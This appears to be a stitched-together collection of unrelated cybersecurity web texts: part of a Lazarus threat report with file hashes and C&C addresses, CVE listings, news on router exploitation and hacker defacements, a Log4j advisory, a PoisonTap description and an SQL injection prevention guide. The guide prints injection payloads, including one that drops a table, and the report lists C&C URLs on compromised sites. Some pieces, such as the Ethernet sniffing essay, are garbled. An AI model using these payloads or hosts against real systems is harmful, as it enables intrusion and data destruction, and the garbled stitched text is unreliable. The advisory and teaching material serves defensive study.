and samples can be found in our GitHub repository. \|296D882CB926070F6E43C99B9E1683497B6F17C4\|\|FudModule.dll\|\|Win64/Rootkit.NukeSped.A\|\|A user‑mode module that operates with the kernel memory.\| \|001386CBBC258C3FCC64145C74212A024EAA6657\|\|C:\PublicCache\msdxm.ocx\|\|Win32/NukeSped.KQ\|\|A dropper of the HTTP(S) downloader.\| \|569234EDFB631B4F99656529EC21067A4C933969\|\|colorui.dll\|\|Win64/NukeSped.JK\|\|A dropper of BLINDINGCAN side-loaded by a legitimate colorcpl.exe.\| \|735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2\|\|N/A\|\|Win64/NukeSped.JK\|\|A 64-bit variant of the BLINDINGCAN RAT.\| \|4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3\|\|N/A\|\|Win32/NukeSped.KQ\|\|An HTTP(S) downloader.\| \|C71C19DBB5F40DBB9A721DC05D4F9860590A5762\|\|Adobe.tmp\|\|Win64/NukeSped.JD\|\|A dropper of the HTTP(S) uploader.\| \|97DAAB7B422210AB256824D9759C0DBA319CA468\|\|credui.dll\|\|Win64/NukeSped.JH\|\|A dropper of an intermediate loader.\| \|FD6D0080D27929C803A91F268B719F725396FE79\|\|N/A\|\|Win64/NukeSped.LP\|\|An HTTP(S) uploader.\| \|83CF7D8EF1A241001C599B9BCC8940E089B613FB\|\|N/A\|\|Win64/NukeSped.JH\|\|An intermediate loader that loads an additional payload from the file system.\| \|C948AE14761095E4D76B55D9DE86412258BE7AFD\|\|DBUtil_2_3.sys\|\|Win64/DBUtil.A\|\|A legitimate vulnerable driver from Dell, dropped by FudModule.dll.\| \|085F3A694A1EECDE76A69335CD1EA7F345D61456\|\|cryptsp.dll\|\|Win64/NukeSped.JF\|\|A dropper in the form of a trojanized lecui library.\| \|55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12\|\|mi.dll\|\|Win64/NukeSped.JF\|\|A dropper in the form of a trojanized lecui library.\| \|806668ECC4BFB271E645ACB42F22F750BFF8EE96\|\|credui.dll\|\|Win64/NukeSped.JC\|\|A trojanized FingerText plug-in for Notepad++.\| \|BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65\|\|msdxm.ocx\|\|Win32/NukeSped.KT\|\|A trojanized version of LibreSSL’s sslSniffer.\| \|67.225.140[.]4\|\|Liquid Web, L.L.C\|\|2021‑10‑12\|\|A compromised legitimate WordPress-based site hosting the C&C server \|50.192.28[.]29\|\|Comcast Cable Communications, LLC\|\|2021‑10‑12\|\|A compromised legitimate site hosting the C&C server https://aquaprographix[.]com/patterns/Map/maps.php\| \|31.11.32[.]79\|\|Aruba S.p.A.\|\|2021‑10‑15\|\|A compromised legitimate site hosting the C&C server http://www.stracarrara[.]org/images/img.asp\| MITRE ATT&CK techniques This table was built using version 11 of the MITRE ATT&CK framework. \|Execution\|\|T1106\|\|Native API\|\|The Lazarus HTTP(S) backdoor uses the Windows API to create new processes.\| \|T1059.003\|\|Command and Scripting Interpreter: Windows Command Shell\|\|HTTP(S) backdoor malware uses cmd.exe to execute command-line tools\| \|Defense Evasion\|\|T1140\|\|Deobfuscate/Decode Files or Information\|\|Many of the Lazarus tools are stored in an encrypted state on the file system.\| \|T1070.006\|\|Indicator Removal on Host: Timestomp\|\|The Lazarus HTTP(S) backdoor can modify the file time attributes of a selected file.\| \|T1574.002\|\|Hijack Execution Flow: DLL Side-Loading\|\|Many of the Lazarus droppers and loaders use a legitimate program for their loading.\| \|T1014\|\|Rootkit\|\|The user-to-kernel module of Lazarus can turn off monitoring features of the OS.\| \|T1027.002\|\|Obfuscated Files or Information: Software Packing\|\|Lazarus uses Themida and VMProtect to obfuscate their binaries\| \|T1218.011\|\|System Binary Proxy Execution: Rundll32\|\|Lazarus uses rundll32.exe to execute its malicious DLLs\| \|Command and Control\|\|T1071.001\|\|Application Layer Protocol: Web Protocols\|\|The Lazarus HTTP(S) backdoor uses HTTP and HTTPS to communicate with its C&C servers.\| \|T1573.001\|\|Encrypted Channel: Symmetric Cryptography\|\|The Lazarus HTTP(S) backdoor encrypts C&C traffic using the AES-128 algorithm.\| \|T1132.001\|\|Data Encoding: Standard Encoding\|\|The Lazarus HTTP(S) payloads encode C&C traffic using the base64 algorithm.\| \|Exfiltration\|\|T1560.002\|\|Archive Collected Data: Archive via Library\|\|The Lazarus HTTP(S) uploader can zip files of interest and upload them to its C&C.\| \|Resource Development\|\|T1584.004\|\|Acquire Infrastructure: Server\|\|Compromised servers were used by all the Lazarus HTTP(S) backdoor, uploader, and downloader as a C&C.\| \|Develop Capabilities\|\|T1587.001\|\|Malware\|\|Custom tools from the attack are likely developed by the attackers. Some exhibit highly specific kernel development capacities seen earlier in Lazarus tools.\| \|Execution\|\|T1204.002\|\|User Execution: Malicious File\|\|The target was lured to open a malicious Word document.\| \|Initial Access\|\|T1566.003\|\|Phishing: Spearphishing via Service\|\|The target was contacted via LinkedIn Messaging.\| \|T1566.001\|\|Phishing: Spearphishing Attachment\|\|The target received a malicious attachment.\| \|Persistence\|\|T1547.006\|\|Boot or Logon Autostart Execution: Kernel Modules and Extensions\|\|The BYOVD DBUtils_2_3.sys was installed to start via the Boot loader (value 0x00 in the Start key under HKLM\SYSTEM\CurrentControlSet\Services\<name>.\| \|T1547.001\|\|Boot or Logon Autostart Execution: Startup Folder\|\|The dropper of the HTTP(S) downloader creates a LNK file OneNoteTray.LNK in the Startup folder.\| Ahnlab. Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Vers. 1.0. 22 September 2022. Retrieved from AhnLab Security Emergency Response Center. Ahnlab. (2021, June 4). APT Attacks on Domestic Companies Using Library Files. Retrieved from AhnLab Security Emergency Response Center. Ahnlab. (2022, September 22). Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Retrieved from AhnLab Security Emergency Response Center. Breitenbacher, D., & Kaspars, O. (2020, June). Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies. Retrieved from WeLiveSecurity.com. ClearSky Research Team. (2020, August 13). Operation ‘Dream Job’ Widespread North Korean Espionage Campaign. Retrieved from ClearSky.com. Dekel, K. (n.d.). Sentinel Labs Security Research. CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws. Retrieved from SentinelOne.com. ESET. (2021, June 3). ESET Threat Report T 1 2021. Retrieved from WeLiveSecurity.com. GReAT. (2016, August 16). The Equation giveaway. Retrieved from SecureList.com. HvS-Consulting AG. (2020, December 15). Greetings from Lazarus: Anatomy of a cyber-espionage campaign. Retrieved from hvs-consulting.de. Cherepanov, A., & Kálnai, P. (2020, November). Lazarus supply-chain attack in South Korea. Retrieved from WeLiveSecurity.com. Kálnai, P. (2017, 2 17). Demystifying targeted malware used against Polish banks. (ESET) Retrieved from WeLiveSecurity.com. Kopeytsev, V., & Park, S. (2021, February). Lazarus targets defense industry with ThreatNeedle. (Kaspersky Lab) Retrieved from SecureList.com. Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operation BookCode – Targeting South Korea. Virus Bulletin. localhost. Retrieved from vblocalhost.com. Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, September 14). It’s Time to PuTTY! DPRK Job Opportunity Phishing via WhatsApp. Retrieved from Mandiant.com. Tomonaga, S. (2020, September 29). BLINDINGCAN – Malware Used by Lazarus. (JPCERT/CC) Retrieved from blogs.jpcert.or.jp. US-CERT CISA. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. (CISA) Retrieved from cisa.gov. Weidemann, A. (2021, 1 25). New campaign targeting security researchers. (Google Threat Analysis Group) Retrieved from blog.google. Wu, H. (2008). The Stream Cipher HC-128. In M. Robshaw , & O. Billet , New Stream Cipher Designs (Vol. 4986). Berlin, Heidelberg: Springer. Retrieved from doi.org.
Know Your Malware: Gravebot Removal Gravebot is an IRC-controlled backdoor that provides the remote attacker with full unauthorized access to a compromised computer. The threat also contacts a predetermined web server, silently downloads from there and runs arbitrary files, some of them can be malicious. Gravebot automatically runs on every Windows startup. Related files: codll.exe, sum.tgz • Allows remote user connection • Connects itself to the internet • Hides from the user • Stays resident in background Remove Gravebot, removal instructions Back to: PC Security, privacy news
By Risk Score By Publish Date By Recent Activity webmin vulnerabilities and exploits (subscribe to this query) Unknown vulnerability in (1) Webmin and (2) Usermin before 1.200 causes Webmin to change permissions and ownership of configuration files, with unknown impact.... Directory traversal vulnerability in Astaro Security Linux 6.0, when using Webmin, allows remote authenticated webmin users to read arbitrary files via a .. (dot dot) in the wfe_download parameter to index.fpl.... Webmin before 1.296 and Usermin before 1.226 do not properly handle a URL with a null ("%00") character, which allows remote attackers to conduct cross-site scripting (XSS), read CGI program source code, list directories, and possibly execute programs.... The ebuild of Webmin before 1.170-r3 on Gentoo Linux includes the encrypted root password in the miniserv.users file when building a tbz2 of the webmin package, which allows remote attackers to obtain and possibly crack the encrypted password.... Webmin 0.92, when installed from an RPM, creates /var/webmin with insecure permissions (world readable), which could allow local users to read the root user's cookie-based authentication credentials and possibly hijack the root user's session using the credentials.... Webmin 1.890 has XSS via /config.cgi?webmin, the /shell/index.cgi history parameter, /shell/index.cgi?stripped=1, or the /webminlog/search.cgi uall or mall parameter.... The account lockout functionality in (1) Webmin 1.140 and (2) Usermin 1.070 does not parse certain character strings, which allows remote attackers to conduct a brute force attack to guess user IDs and passwords.... Unknown vulnerability in Webmin 1.140 allows remote attackers to bypass access control rules and gain read access to configuration information for a module.... miniserv.pl in (1) Webmin before 1.070 and (2) Usermin before 1.000 does not properly handle metacharacters such as line feeds and carriage returns (CRLF) in Base-64 encoded strings during Basic authentication, which allows remote attackers to spoof a session ID and gain root... 1 EDB exploit available An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.... 1 EDB exploit available 1 Metasploit module available 31 Github repositories available 3 Articles available
An authentication-bypass vulnerability affecting multiple routers and internet-of-things (IoT) devices is being actively exploited in the wild, according to researchers. The security flaw, tracked as CVE-2021-20090, was disclosed last week by researchers at Tenable. It affects devices from 20 different vendors and ISPs (ADB, Arcadyan, ASMAX, ASUS, Beeline, British Telecom, Buffalo, Deutsche Telekom, HughesNet, KPN, O2, Orange, Skinny, SparkNZ, Telecom [Argentina], TelMex, Telstra, Telus, Verizon and Vodafone), all of which use the same firmware from Arcadyan. In all, millions of devices worldwide could be vulnerable. Tenable demonstrated in a proof of concept (PoC) that it’s possible to modify a device’s configuration to enable Telnet on a vulnerable router and gain root level shell access to the device. “The vulnerability exists due to a list of folders which fall under a ‘bypass list’ for authentication,” according to Tenable’s advisory on August 3. “For most of the devices listed, that means that the vulnerability can be triggered by multiple paths. For a device in which http://<ip>/index.htm requires authentication, an attacker could access index.htm using the following paths: “To have the pages load properly, one will need to use proxy match/replace settings to ensure any resources loaded which require authentication also leverage the path traversal,” the advisory continued. Exploited to Spread Mirai Variant Just three days after disclosure, on Friday, cybersecurity researchers from Juniper Networks said they had discovered active exploitation of the bug. “We have identified some attack patterns that attempt to exploit this vulnerability in the wild coming from an IP address located in Wuhan, Hubei province, China,” they wrote in a post. “The attacker seems to be attempting to deploy a Mirai variant on the affected routers.” Cleaving close to Tenable’s PoC, the attackers are modifying the configuration of the attacked device to enable Telnet using “ARC_SYS_TelnetdEnable=1” to take control, according to Juniper. Then, they proceed to download the Mirai variant from a command-and-control (C2) server and execute it. Mirai is a long-running botnet that infects connected devices and can be used to mount distributed denial-of-service (DDoS) attacks. It burst on the scene in 2016, when it overwhelmed servers at the Dyn web hosting company, taking down more than 1,200 websites, including Netflix and Twitter. Its source code was leaked later that year, after which multiple Mirai variants began to crop up, in a barrage that continues to this day. Some of the scripts in the current set of attacks bear resemblance to previously observed activity picked up in February and March, according to Juniper. “The similarity could indicate that the same threat actor is behind this new attack and attempting to upgrade their infiltration arsenal with yet another freshly disclosed vulnerability,” researchers wrote. “Given that most people may not even be aware of the security risk and won’t be upgrading their device anytime soon, this attack tactic can be very successful, cheap and easy to carry out.” In addition to the router bug, Juniper researchers observed the following known vulnerabilities being exploited to gain initial access to target devices: - CVE-2020-29557 (DLink routers) - CVE-2021-1497 and CVE-2021-1498 (Cisco HyperFlex) - CVE-2021-31755 (Tenda AC11) - CVE-2021-22502 (MicroFocus OBR) - CVE-2021-22506 (MicroFocus AM) In fact, the attackers have been continuously adding new exploits to its arsenal, according to the posting, and CVE-2021-20090 is unlikely to be the last. “It is clear that threat actors keep an eye on all disclosed vulnerabilities,” researchers concluded. “Whenever an exploit PoC is published, it often takes them very little time to integrate it into their platform and launch attacks.” To avoid compromise, users should update their firmware on the router. “In the case of IoT devices or home gateways, the situation is much worse as most users are not tech-savvy and even those who are do not get informed about potential vulnerabilities and patches to apply,” according to Juniper. “The only sure way to remedy this issue is to require vendors to offer zero-down-time automatic updates.” Worried about where the next attack is coming from? We’ve got your back. REGISTER NOW for our upcoming live webinar, How to Think Like a Threat Actor, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on Aug. 17 at 11AM EST for this LIVE discussion.
This week brings more updates to the issues covered in our previous blogs describing vulnerabilities in Log4j, a Java-based logging utility. Apache has released Log4j version 2.17.0 to fix a recently discovered issue affecting Log4j version 2.16.0. This blog also includes new information for a previously reported vulnerability, and information on a list of third-party applications with Log4j vulnerabilities, compiled by the U.S. National Institute on Science and Technology (NIST). As this is a constantly developing situation, we recommend regular monitoring of the latest reports, vendor updates, and actioning the recommendations provided. The problem in the 2.15.0 version, tracked as CVE-2021-45046, was originally assessed to be of low severity but has now been updated with a CVSS score of 9. The newly-discovered issue in version 2.15.0 allows for information leak and Remote Code Execution (RCE), but is limited to certain non-default configurations and specific conditions. Local code execution is possible in all environments on 2.15.0 version, regardless of their configurations. Organizations running Log4j version 2.16.0 are protected against CVE-2021-45046, as this version removes support for message lookup patterns and disables JNDI functionality by default. On 18 December, Log4j received a further update, version 2.17.0, to address a high-severity vulnerability allowing a Denial-of-service (DoS) in Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3). The issue, tracked as CVE-2021-45105, is rated with a CVSS score of 7.5. It was fixed in Log4j version 2.17.0 (for Java 8) and 2.12.3 (for Java version 7). This CVE describes another method that abuses lookups in logged data, that are non-JNDI. This method is separate from, and not a variant of the original Log4Shell vulnerability. Third Parties Affected The National Institute of Standards and Technology (NIST) has now started adding Common Platform Enumeration (CPE) entries for the third-party applications and services affected by CVE-2021-45046, CVE-2021-44228, and CVE-2021-45105. These entries can be used to identify some of the vulnerable services in your environment. We strongly advise following the guidance below and updating the affected products to the latest version as soon as possible. If you have already updated Log4j to version 2.16.0 or you are still running versions prior to 2.16.0, we recommend updating to 2.17.0 as soon as possible. Although version 2.16.0 does protect from the RCE vector, given the heightened interest in this set of vulnerabilities, systems may be targeted for the DoS condition as well. The 2.17.0 update fully remediates all of the currently known vulnerabilities in Log4j. When an update to the log4j-core is applied, other JAR files (e.g.log4j-api) need to be updated as well. We also recommend monitoring for third-party application updates and applying them when they become available. For any products deployed on your network that are known to use Log4j but are not on the NIST list, we recommend contacting the vendor to inquire about the security status of their application in relation to this set of vulnerabilities. We recommend reviewing the list of mitigations provided by the vendors and applying them in the event that you are unable to apply the updates immediately. Please keep in mind that these remediations only provide temporary and partial protection against this threat and should not be relied on as a replacement for a product update.
Continues From Last Post . . . So each machine has unique identification to send and receive data and avoid the confusion. This doesn’t happen with dial-up modems; because it is assumed that any data you send to the modem is destined for the other side of the phone line. But when you send data out onto an Ethernet wire, you have to be clear which machine you intend to send the data to. In many cases we can analyze today that mostly to machines make communication to each other and few scenarios are like a conference But Ethernet is designed to share plenty of machines to covers together. This is accomplished by putting a unique 12-digit hex number in every piece of Ethernet hardware. This is so important from the aspect of data and information security. Ethernet was designed to carry other traffic than just TCP/IP, and TCP/IP was designed to run over other wires (such as dial-up lines, which use no Ethernet). NETBEUI is something that many home users use to share files or data. This does not use TCP/IP protocols to transfer the data. It makes harder for intruders to hack the data. Raw transmission and reception on Ethernet is governed by the Ethernet equipment. You just can’t send data raw over the wire; you must first do something to it that Ethernet understands. In much the same way, you can’t stick a letter in a mailbox, you must first wrap it in an envelope with an address and stamp. This is what used in traditional TCP/IP Architecture. So this is how sniffing attacks get vulnerable to Ethernet. There are many techniques which gives internet and networks a flexibility through Ethernet is exploited by the use of packet sniffing. This is not just a dark side, all packet sniffers can be detected even if they have stealth inside them. Also Non promiscus mode conversion can be a great way to stop all types of packet sniffing attacks.
A slew of routers manufactured in China are fraught with vulnerabilities, some which have existed in products for as long as six years. Nearly 20 different routers made by the electronics company TotoLink contain multiple remote code execution bugs, suffer from XSS and CSRF vulnerabilities, and contain backdoor credentials. While primarily based in China, TotoLink actually sells products, including its routers, WiFi access points, and network devices, worldwide. The RCEs affect 15 different products, including some with firmware that dates back to 2009. Both RCEs allow an attacker to bypass the router’s admin authentication with a HTTP request and a DHCP request. Although with an HTTP request, because of a hidden form in the latest firmware, an attacker could execute commands as root. “From my tests, it is possible to use these vulnerabilities to overwrite the firmware with a custom (backdoored) firmware,” Pierre Kim, one of the security researchers who discovered the issues, wrote today. Kim and fellow security researcher Alexandre Torres published advisories, as well as proof of concept code for the vulnerabilities, on Thursday. Nearly 50,000 routers are affected by another issue found by Kim and Torres, a backdoor that exists in eight brands of TotoLink routers. The researchers tested the backdoor, which can be exploited by sending a special request to the WAN IP, against live routers to verify the issue. Torres and Kim claim backdoor credentials can be found in four additional routers – different from those already mentioned – the company makes. The backdoor can give any attacker on the LAN root privileges simply by executing a few commands and by using default, easy to guess passwords. As if that wasn’t enough, even more routers TotoLink makes – the iPuppy, iPuppy3, N100RE, and N200RE, are also vulnerable. Each of those routers are vulnerable to CSRF and XSS attacks, according to Kim, who found the vulnerabilities after discovering similar issues in routers manufactured by ipTIME, a Korean company, in April. The potential for attacks is largely due to the fact that authentication comes disabled by default, meaning it’s easy for an attacker to access the configuration and settings inside the router’s LAN. From there they could change the DNS configuration, update the firmware, change the WiFi configuration and more. TotoLink actually updated the firmware for a dozen different router models this past Monday. While the two researchers point out the company appears to have silently fixed the HTTP RCE in the A2004NS and EX750 routers, the issues in the other routers still remain. It’s unclear when or if the company is planning to address the outstanding issues. Both Kim and Torres claim in their description of the bugs that they didn’t contact TotoLink, partly because the company used what they call “unethical code.” Emails sent by Threatpost on Thursday, to bring the issues to TotoLink’s attention and to request comment, were not immediately returned.
PoisonTap is built for the $5 Raspberry Pi Zero without any additional components other than a micro-USB cable & microSD card. It’s entirely automated. You plug it in, you leave it there for a minute, then you pull it out and you walk away. You don’t even need to know how to do anything! PoisonTap produces a cascading effect by exploiting the existing trust in various mechanisms of a machine and network, including USB/Thunderbolt, DHCP, DNS, and HTTP, to produce a snowball effect of information exfiltration, network access and installation of semi-permanent backdoors. The Attacker/spy plugs PoisonTap into a locked computer, and even when the computer is password protected all the data on your system is compromised. PoisonTap will respond to the DHCP request and provides the machine with an IP address, however the DHCP response is crafted to tell the machine that the entire IPv4 space (0.0.0.0 – 255.255.255.255) is part of the PoisonTap’s local network, rather than a small subnet (eg 192.168.0.0 – 192.168.0.255).
While choosing a cybersecurity computer software for your organization, it is important to choose a product that fulfills the requires of your organization. There are several considerations, which includes cost, features, and support. This information will help you choose the right system for your needs. In case you are concerned about loss of data, Code42’s data reduction protection application can help. The technology provides real-time threat detection and response. It is also equipped of avoiding malicious code attacks about software installs. Its basic deployment and configuration should minimize interruptions to crew collaboration. An alternative tool just for cybersecurity is Nmap, or Network mapper, which can be free and open-source. Their purpose should be to scan networks and recognize security vulnerabilities. This program may scan significant networks cybersecurity software and solitary hosts which is useful for distinguishing unidentified products and network issues. An additional useful cybersecurity software is Wireshark, a network sniffing application. It can distinguish even the most basic system anomalies, as well as assess network targeted traffic on several levels. Furthermore to offering detection capacities, cybersecurity software also need to support ongoing monitoring. This kind of feature assists identify risks and weaknesses that cyber criminals might take advantage of, as well as permitting teams to handle individual demands and maintain regulatory compliance. Further, the solution should enable users to automate repeating tasks and make this easy to manage security situations. With the right software, your company can easily avoid being hacked. It can be necessary to understand the several features and benefits of cybersecurity software before purchasing.
Family: Windows --> Category: destructive_attack Bagle remover Vulnerability Scan Vulnerability Scan Summary Removes bagle if it is installed Detailed Explanation for this Vulnerability Test The remote host had the bagle virus installed. Nessus probably removed it by connecting to port 6777 of this host and use the built-in removal command of this virus to clean up the remote host, however you should make sure that : - The virus was indeed properly removed - The remote computer has not be altered in any other way. Solution: Re-install this system from scratch if the virus backdoor has been used by an intruder Threat Level: High Click HERE for more information and discussions on this network vulnerability scan.
Luigi Auriemma has discovered a vulnerability in MaxDB, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an input validation error in the handling of certain DBM commands (e.g. "exec_sdbinfo") and can be exploited to execute arbitrary commands on a vulnerable system by e.g. sending a specially crafted packet to default port 7210/TCP. The vulnerability is confirmed in version 7.6.03.07 on Windows. Other versions may also be affected. Solution: Restrict network access to the database service. Provided and/or discovered by: Luigi Auriemma Original Advisory: http://aluigi.altervista.org/adv/sapone-adv.txt Do you have additional information related to this advisory? Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this information to [email protected]
This method of infection is very similar to that which is utilised by the OneHalf computer virus. Contrary to the usual method of infecting executables (which is to append virus body to the executable and to change the entry point), it inserts several fragments ("patches") of its code in random places inside the file. These fragments transfer control to each other using various mechanisms. The method of infection makes the detection of the virus difficult by anti-virus programs, and it means that they would have to scan the file in its entirety in order to detect the virus. The size of the Bomber executable is approximately 4096 bytes and contains the following text: COMMANDER BOMBER WAS HERE [DAME] [DAME]
The only way to detect flaws in your system is through deep testing. Fortunately, there’s a set of tools recommended by OWASP, that may help you on this task. W3AF (w3af is a Web Application Attack and Audit Framework), Web Scarab (WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server) and BURP (Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process), just to mention some examples from the top of my head. The general rule is to clean up all inbound and outbound. This means you should ensure, in the first step, that you’re rejecting or deleting invalid characters. To do that you can use any sanitise library, PHPSanitizer as example mentioned on a previous post (Security in Web-apps: Overview). Following with the process of harden our system, lets continue with SQL Injection, that can be tackled with code best practices. (the others might need some server configuration as part of the solution) We can follow the next steps as a cheat sheet that will help to prevent most of the attacks. Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement. Stored procedures have the same effect as the use of prepared statements when implemented safely (this means without dynamic query generation) which is the norm for most stored procedure languages. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. This technique is based on escape the inputs before put them in the query – I strongly recommend that use this technique in addition with other – for instance, using a library suggested at the top of this section. For this technique, you should also take care on specific DBMS escaping character information, in the following link is an example of Oracle Escaping information In addition to In order to minimize the potential damage of a success injection, you shouldn’t use a DBA privileged user, but instead, connect with a user that has the minimum privileges required by the system. You also shouldn’t run your DBMS as root, sometimes DBMS allow to execute OS instructions. This is not matter of data you store in your database only. Based on the next statement I’m going to show the most common SQL vectors: Based on 1=1 is Always True txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId; SELECT * FROM Users WHERE UserId = 105 or 1=1 Result, this will list all records in Users table, no matter of the UserId. Based on “”=“” is Always True uName = getRequestString("UserName"); uPass = getRequestString("UserPass"); sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + “'" Result, this will list all records in Users table, no matter of the UserName nor UserPass. Based on Batched SQL Statements txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId; SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers Result, you will lost Suppliers table. This is just a quick start on Injection prevention, security should be implemented in layers. In our next post, we will talk about Cross Site Scripting (XSS), definition and tips to dealing with it.
This video comes from our Wireless Security Attacks online course. In this challenge, we will recover the WPA2 key using airmon-ng, airodump-ng, aircrack-ng, and Crackq. Judging by how many questions we get about this topic on a daily basis, we think this one's going to help out a lot of you. Dive in! We will disconnect a connected client, during the reassociation we will capture the four-way handshake between the access point and station. This attack works exactly like the WPA challenge from last week and those steps can be replicated. Start by placing the wireless interface in monitor mode and placing it on the correct channel. Next start airodump-ng and write the captured packets to a file. To slightly change the disconnect attack, instead of targeting all devices on the access point, we will send disconnect packets only to the victim. This is often more effective than attempting to disconnect all clients and should be added to your bag of tricks for wireless attacks. About the course: What will you learn about: Wireless Protocol Basics; Hardware and Channel Basics; Security Protocols (OPN, WEP, WPA, WPA2); WEP Attacks; WPA/WPA2 attacks; Non-broadcasting SSID attacks; Brute Force Attacks on WEP; Brute Force Attacks on WPA/WPA2; Automated Attack Tools What will you practice: Each week during the course you will face challenges that will test your knowledge and teach you skills needed to become an expert on wireless security attacks. The tasks we have planned for you include: - PCAP challenge for finding cloaked SSID; - Active decloak attack using BTK3; - WEP IV attack; - WPA cracking using dictionary and brute force techniques (John or oclHashcat); - WPA2 cracking;
You mean, because the chapter 2 says: The path to use in the URL is based on the WAR file's name and the url-pattern from the servlet-mapping section in the web.xml file. In our case the WAR file is named quote.war and the servlet mapping is quote. This gives us the path /quote/quote, which we put together with the host and port portion of a URL. But I think it's false. You can report this fault under if the book is wrong, how then does one go about invoking the web app. ie, is it not based on the war file name (minus the extension) and the servlet mapping? when i hover over the links in the jmx-console, i can see that these apps are indeed invoked with jmx-console followed by the servlet mapping name...not sure why this sample app is different...
Turkish hackers: Attack on websites of the Institute of Technology & Research (FORTH) The Turkish hacking team AKINCILAR, which has carried out several hacking attacks on Greek critical infrastructure and Ministries lately, strikes again! The Turkish hackers gained access to the website https://www.ims.forth.gr/el of the Institute of Mediterranean Studies (IMS) based in Rethymno, Crete (one of the 8 Institutes of the Institute of Technology & Research (FORTH) but also in all web pages managed by the Foundation .. The Turks once again posted his photo Turkish ship Oruc Reis, which was accompanied by the following message: "We have an army that loves death and martyrdom as much as you love the #BlueHomeLand world." AKINCILAR chooses to attack through defacement the home page and various subdomains of ims.forth.gr. The list of victims includes the following servers: The new attack was announced via Twitter. @Ynsmroztas in a post stated that all websites served by FORTH server (forth.gr) have "fallen". The hacking team AKINCILAR is very well known in their areas hackers, having carried out a very large number of attacks against high-profile targets in Greece and abroad. According to a SecNews survey, most likely, This is a hacking group funded by the Turkish government with secret Ministry funds. The targeting of this Institute is certainly not accidental. At a time when Greek-Turkish is in the news, Turkish President Erdogan is trying with the AKINCILAR-funded team to get as much information as possible. Expert estimates suggest that probably the Institute was targeted in an attempt by Turkish hackers to locate data related to Geophysical or Geological data since researchers of the Institute have as main object the above. The EMERIC research system concerning the monitoring, management and protection of the natural landscape and environment of Crete is designed and implemented as an infrastructure project by the Institute, in fact included in programs of the Region of Crete and the European Union. In addition, the Institute has participated in research on the tectonic evolution of Crete and the South Aegean. The targeting is therefore not accidental at all, and the data targeted by them should probably be investigated by those in charge. hackers. The Institute of Mediterranean Studies (IMS) based in Rethymno, Crete was founded in 1985 and is one of the 8 Institutes of the Institute of Technology & Research (FORTH), the most remarkable research center in Greece. It aims to promote research in the humanities and social sciences as well as the application of science and technology to cultural heritage and the environment. It has been distinguished for its research in history and culture and is the only research or university institution in the country that has been honored with four ERC Grants (2016, 2017, 2018, 2019) that have ever been given to the humanities in Greece.
A cyberattack on the United States could result in a physical military retaliation under a revised Pentagon strategy. The move probably won’t mean modern-day David Lightmans should expect to see tanks outside their doors, but it could mean some decisive responses: in the words of an unnamed official speaking to the Wall Street Journal, “If you shut down our power grid, maybe we will put a missile down one of your smokestacks.” The key to the change, which follows a review of online security in a military context, is that for the first time it will be possible for the US to deem a cyberattack as an act of war — a status that allows a military response. The report, which is currently confidential but may be published in part later on, puts up for debate the issue of which attacks should justify a response. One suggestion is that the threshold should be whether an attack causes a similar level of disruption or destruction as a traditional military offensive. The other main issue that remains unsettled is the requirement of proof that a foreign government was involved or implicated in an attack. That could be anywhere from requiring conclusive evidence, to simply assuming that once an attack reaches a particular level of sophistication it is fair to conclude the government must have played a role. The US military is also looking to update international agreements on rules of military engagement to cover online activity. The decision and the timing of the announcement appears to be unconnected to the revelation that defense contractor Lockheed Martin was recently attacked by hackers seeking to exploit a flaw in the system used to allow employees to access the network from external machines. That doesn’t appear to have caused any harm, but did require a reset of all passwords and the introduction of additional security measures.
Cross-site scripting (XSS) vulnerability in Query/NewQueryResult.jsp in Cisco Security Monitoring, Analysis and Response System (CS-MARS) allows remote attackers to inject arbitrary web script or HTML via the isnowLatency parameter, aka Bug ID CSCul16173. Note:References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete. BUGTRAQ:20131104 Cisco Mars Cross-Site Scripting Vulnerability - CVE-2013-5563 Disclaimer: The entry creation date may reflect when the CVE-ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. This is an entry on the CVE list, which standardizes names for security
